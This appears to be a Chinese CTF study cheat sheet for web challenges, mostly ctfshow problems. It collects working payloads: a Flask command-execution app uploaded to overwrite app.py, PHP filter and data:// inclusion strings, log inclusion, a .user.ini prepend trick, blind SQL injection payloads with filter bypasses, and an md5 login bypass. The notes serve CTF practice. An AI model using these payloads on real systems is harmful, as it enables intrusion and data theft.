var code = "115c1ee1-c650-42f6-8660-65b4452b3a66"
做题顺序:
1.判断类型(扫目录->找文件和提示)看日志
提示:出现api就是可能用xml
资料:php函数漏洞总结_php eval 获取文件信息_SevenCold的博客-CSDN博客
读取文件类型:
sstl模板注入:
1.flask模板
flask disk
- 考点:Phar反序列化、gzip压缩、无回显RCE
- FLAG:动态FLAG
- 解题步骤
访问admin manage发现要输入pin码,说明flask开启了debug模式。
flask开启了debug模式下,app.py源文件被修改后会立刻加载。
所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了。注意语法不能出错,否则会崩溃。
from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():
try:
cmd = request.args.get('cmd')
data = os.popen(cmd).read()
return data
except:
pass
return "1"
if __name__=='__main__':
app.run(host='0.0.0.0',port=5000,debug=True)
include读取文件题目:
1.php协议php协议绕过大全 php://filter/read=convert.base64-encode/resource=check.php
2.日志包含/var/log/nginx/access.log(有参数要用参数访问)
3.通过data://text/plain协议来进行漏洞利用。
传入url=data://text/plain,<?php phpinfo();?>
curl题目:
1.ip地址可以使用十进制绕过
2..可以用。代替
php反序列化题目:
2.反序列化逃逸问题,利用strplace函数产生的字符长度空出进行逃逸
4.超过php最大默认内存256M即可造成变量定义失败,出现致命错误从而跳过后面的覆盖写入
(出现替换函数)
php函数大全
file_get_contents
rand(): 在某些平台下(例如 Windows)getrandmax() 只有 32767
[ctfshow 单身杯]web writeup&&学习一下sed awk基本用法_ctfshow单身杯easyphp_k_du1t的博客-CSDN博客
文件上传题目:
CTF show WEB13_ctfshow web13_yu22x的博客-CSDN博客(没有啥突破,可能有啥隐藏的目录,尝试源码泄露利用的方法)
无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)
.user.ini中输入auto_prepend_file =a.txt
,这样在该目录下的所有文件都会包含a.txt的内容、
sql注入题目:
1.布尔盲注:
常用的布尔盲注payload: 1^if(ascii(substr('flag',1,1))=104,1,0)
过滤了空格可以用()代替
过滤了逗号可以用from..for代替
过滤了and可以用^或or来代替
过滤了ascli可以用 ord代替
过滤了等号和like可以用regexp代替
改为1^case(ord(substr(database()from(1)for(1))))when(102)then(2)else(3)end
空异或0会查到所有非数字开头的记录
2.普通注入
a.md5绕过
1.ffifdyop
2.129581926211651571912466741651878684928可以进行md5加密为’or 'xxxxx'格式。
b.普通绕过后有对选取出来的密码验证通过
c.在这里介绍一种绕过的方法——反引号
反引号:它是为了区分MYSQL的保留字与普通字符而引入的符号
ctfshow web13-14_许允er的博客-CSDN博客
d.联合注释,关于回显设定,向指定网页发送数据进行爆破
ctfshow-内部赛-签到_ctfshow内部赛签到_3xsh0re的博客-CSDN博客
杂题
1.如 if($password==$_SESSION['password']),可以去更改session(有长度限制情况下)
4.可以使用的有:p ` ? / + < > =
3.响应头记得看,不一定就给出真flag
代码执行漏洞(暗示cmd)
a. 2.不知道输入什么?cmd=phpinfo();观察是否有代码执行漏洞
c.无回显利用>进行写入 ,nl /*>3 ctf.show
d.既然是eval就是代码执行,但是又不能用括号,那么只能用不用括号的函数了,那么答案很然php中不需要括号使用的函数,叫做语言结构,常见的有include、require、echo等(注意加上;)
f.auto_prepend_file
是 PHP 中的一个配置选项,用于自动在每个 PHP 文件执行之前先执行指定的文件。